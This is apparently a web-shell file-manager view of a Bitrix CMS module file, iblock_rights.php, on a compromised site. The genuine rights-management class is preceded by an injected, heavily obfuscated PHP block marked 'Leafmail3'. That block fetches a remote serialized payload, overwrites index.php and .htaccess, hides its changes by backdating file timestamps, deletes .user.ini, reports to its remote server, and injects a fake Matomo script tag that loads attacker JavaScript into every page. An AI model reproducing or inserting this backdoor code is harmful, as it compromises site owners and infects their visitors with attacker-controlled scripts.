Your IP : 3.149.235.138


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/iblock/classes/general/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/iblock/classes/general/iblock_rights.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
class CIBlockRights
{
	const GROUP_CODE = 1;
	const RIGHT_ID = 2;
	const TASK_ID = 3;

	const ANY_OPERATION = 1;
	const ALL_OPERATIONS = 2;
	const RETURN_OPERATIONS = 4;

	protected $IBLOCK_ID = 0;
	protected $id = 0;
	protected static $arLetterToTask = null;
	protected static $arLetterToOperations = null;

	function __construct($IBLOCK_ID)
	{
		$this->IBLOCK_ID = intval($IBLOCK_ID);
		$this->id = $this->IBLOCK_ID;
	}

	function GetIBlockID()
	{
		return $this->IBLOCK_ID;
	}

	function GetID()
	{
		return $this->id;
	}

	function _entity_type()
	{
		return "iblock";
	}

	function _self_check()
	{
		return $this->IBLOCK_ID == $this->id;
	}

	public static function Post2Array($ar)
	{
		$arRights = array();
		$RIGHT_ID = "";
		$i = 0;
		foreach($ar as $arRight)
		{
			if(isset($arRight["RIGHT_ID"]))
			{
				if(strlen($arRight["RIGHT_ID"]) > 0)
					$RIGHT_ID = $arRight["RIGHT_ID"];
				else
					$RIGHT_ID = "n".$i++;

				$arRights[$RIGHT_ID] = array(
					"GROUP_CODE" => "",
					"DO_CLEAN" => "N",
					"TASK_ID" => 0,
				);
			}
			elseif(isset($arRight["GROUP_CODE"]))
			{
				$arRights[$RIGHT_ID]["GROUP_CODE"] = $arRight["GROUP_CODE"];
			}
			elseif(isset($arRight["DO_CLEAN"]))
			{
				$arRights[$RIGHT_ID]["DO_CLEAN"] = $arRight["DO_CLEAN"] == "Y"? "Y": "N";
			}
			elseif(isset($arRight["TASK_ID"]))
			{
				$arRights[$RIGHT_ID]["TASK_ID"] = $arRight["TASK_ID"];
			}
		}

		foreach($arRights as $RIGHT_ID => $arRightSet)
		{
			if(substr($RIGHT_ID, 0, 1) == "n")
			{
				if(strlen($arRightSet["GROUP_CODE"]) <= 0)
					unset($arRights[$RIGHT_ID]);
				elseif($arRightSet["TASK_ID"] > 0)
				{
					//Mark inherited rights to overwrite
					foreach($arRights as $RIGHT_ID2 => $arRightSet2)
					{
						if(
							$RIGHT_ID2 > 0
							&& $arRightSet2["GROUP_CODE"] === $arRightSet["GROUP_CODE"]
						)
						{
							unset($arRights[$RIGHT_ID2]);
						}
					}
				}
			}
		}

		return $arRights;
	}

	private static function initTaskLetters()
	{
		if(!isset(self::$arLetterToTask))
		{
			$rs = CTask::GetList(
				array("LETTER"=>"asc"),
				array(
					"MODULE_ID" => "iblock",
					"BINDING" => "iblock",
					"SYS" => "Y",
				)
			);
			self::$arLetterToTask = array();
			while($ar = $rs->Fetch())
				self::$arLetterToTask[$ar["LETTER"]] = $ar["ID"];
		}
	}

	static function LetterToTask($letter = '')
	{
		self::initTaskLetters();

		if($letter == '')
			return self::$arLetterToTask;
		elseif(array_key_exists($letter, self::$arLetterToTask))
			return self::$arLetterToTask[$letter];
		else
			return 0;
	}

	static function TaskToLetter($task = 0)
	{
		self::initTaskLetters();

		if($task == 0)
			return array_flip(self::$arLetterToTask);
		else
			return array_search($task, self::$arLetterToTask);
	}

	static function LetterToOperations($letter = '')
	{
		if(!isset(self::$arLetterToOperations))
		{
			self::$arLetterToOperations = array();
			foreach(CIBlockRights::LetterToTask() as $l2 => $TASK_ID)
			{
				self::$arLetterToOperations[$l2] = array();
				foreach(CTask::GetOperations($TASK_ID, true) as $op)
					self::$arLetterToOperations[$l2][$op] = $op;
			}
		}

		if($letter == '')
			return self::$arLetterToOperations;
		elseif(array_key_exists($letter, self::$arLetterToOperations))
			return self::$arLetterToOperations[$letter];
		else
			return array();
	}

	function ConvertGroups($arGroups)
	{
		$i = 0;
		$arRights = array();
		foreach($arGroups as $GROUP_ID => $LETTER)
		{
			$TASK_ID = $this->LetterToTask($LETTER);
			if($TASK_ID > 0)
				$arRights["n".$i] = array(
					"GROUP_CODE" => "G".$GROUP_ID,
					"DO_INHERIT" => "Y",
					"DO_CLEAN" => "N",
					"TASK_ID" => $TASK_ID,
				);
			$i++;
		}

		return $arRights;
	}

	public static function GetRightsList($bTitle = true)
	{
		global $DB;
		$arResult = array();

		$rs = CTask::GetList(
			array("LETTER"=>"asc"),
			array(
				"MODULE_ID" => "iblock",
			)
		);

		while($ar = $rs->Fetch())
			$arResult[$ar["ID"]] = $bTitle? $ar["TITLE"]: $ar["NAME"];

		return $arResult;
	}

	function GetGroups($arOperations = false, $opMode = false)
	{
		$arResult = array();

		$arRights = $this->GetRights(array("operations" => $arOperations, "operations_mode" => $opMode));
		foreach($arRights as $arRight)
			$arResult[$arRight["GROUP_CODE"]] = $arRight["GROUP_CODE"];

		return $arResult;
	}

	function GetList($arFilter)
	{
		global $DB;

		$obQueryWhere = new CSQLWhere;
		$obQueryWhere->SetFields(array(
			"IBLOCK_ID" => array(
				"TABLE_ALIAS" => "BR",
				"FIELD_NAME" => "BR.IBLOCK_ID",
				"MULTIPLE" => "N",
				"FIELD_TYPE" => "int",
				"JOIN" => false,
			),
			"ITEM_ID" => array(
				"TABLE_ALIAS" => "BR",
				"FIELD_NAME" => "BR.IBLOCK_ID",
				"MULTIPLE" => "N",
				"FIELD_TYPE" => "int",
				"JOIN" => false,
			),
		));

		$strWhere = $obQueryWhere->GetQuery($arFilter);

		return $DB->Query("
			SELECT
				BR.IBLOCK_ID ITEM_ID
				,BR.ID RIGHT_ID
				,BR.GROUP_CODE
				,BR.TASK_ID
				,BR.DO_INHERIT
				,'N' IS_INHERITED
				,BR.XML_ID
			FROM
				b_iblock_right BR
			".($strWhere? "WHERE ".$strWhere: "")."
			ORDER BY
				BR.ID
		");
	}

	function GetRights($arOptions = array())
	{
		global $DB;
		$arResult = array();

		if(
			!isset($arOptions["operations"])
			|| !is_array($arOptions["operations"])
